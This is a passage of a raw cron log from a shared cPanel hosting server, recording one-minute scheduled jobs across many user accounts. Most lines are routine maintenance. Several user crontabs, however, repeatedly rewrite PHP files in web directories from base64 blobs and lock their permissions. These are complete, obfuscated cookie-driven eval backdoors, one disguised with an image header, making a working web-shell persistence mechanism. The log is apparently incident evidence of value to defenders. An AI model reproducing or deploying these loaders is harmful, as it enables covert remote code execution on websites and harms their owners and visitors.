0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:39:01 medusa CROND[26384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:39:01 medusa CROND[26387]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:39:01 medusa CROND[26388]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:39:01 medusa CROND[26391]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:39:01 medusa CROND[26392]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:39:01 medusa CROND[26397]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:39:01 medusa CROND[26401]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:40:01 medusa CROND[13401]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:40:01 medusa CROND[13414]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:40:01 medusa CROND[13415]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:40:01 medusa CROND[13554]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:40:01 medusa CROND[13660]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:40:01 medusa CROND[13748]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:40:01 medusa CROND[13746]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:40:01 medusa CROND[13749]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:40:01 medusa CROND[13747]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:40:01 medusa CROND[13754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:40:01 medusa CROND[13756]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:40:01 medusa CROND[13758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:40:01 medusa CROND[13759]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 07:40:01 medusa CROND[13767]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:40:01 medusa CROND[13751]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:40:01 medusa CROND[13761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 07:40:01 medusa CROND[13770]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 07:40:01 medusa CROND[13774]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:40:01 medusa CROND[13775]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:40:01 medusa CROND[13779]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:40:01 medusa CROND[13787]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:40:01 medusa CROND[13793]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:40:01 medusa CROND[13795]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:40:01 medusa CROND[13797]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:40:01 medusa CROND[13784]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 07:40:01 medusa CROND[13799]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:40:01 medusa CROND[13789]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:40:01 medusa CROND[13772]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 07:41:01 medusa CROND[31902]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:41:01 medusa CROND[32006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:41:01 medusa CROND[32121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:41:01 medusa CROND[32122]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:41:01 medusa CROND[32123]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:41:01 medusa CROND[32125]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:41:01 medusa CROND[32126]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:41:01 medusa CROND[32131]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:41:01 medusa CROND[32133]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 07:41:01 medusa CROND[32137]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7"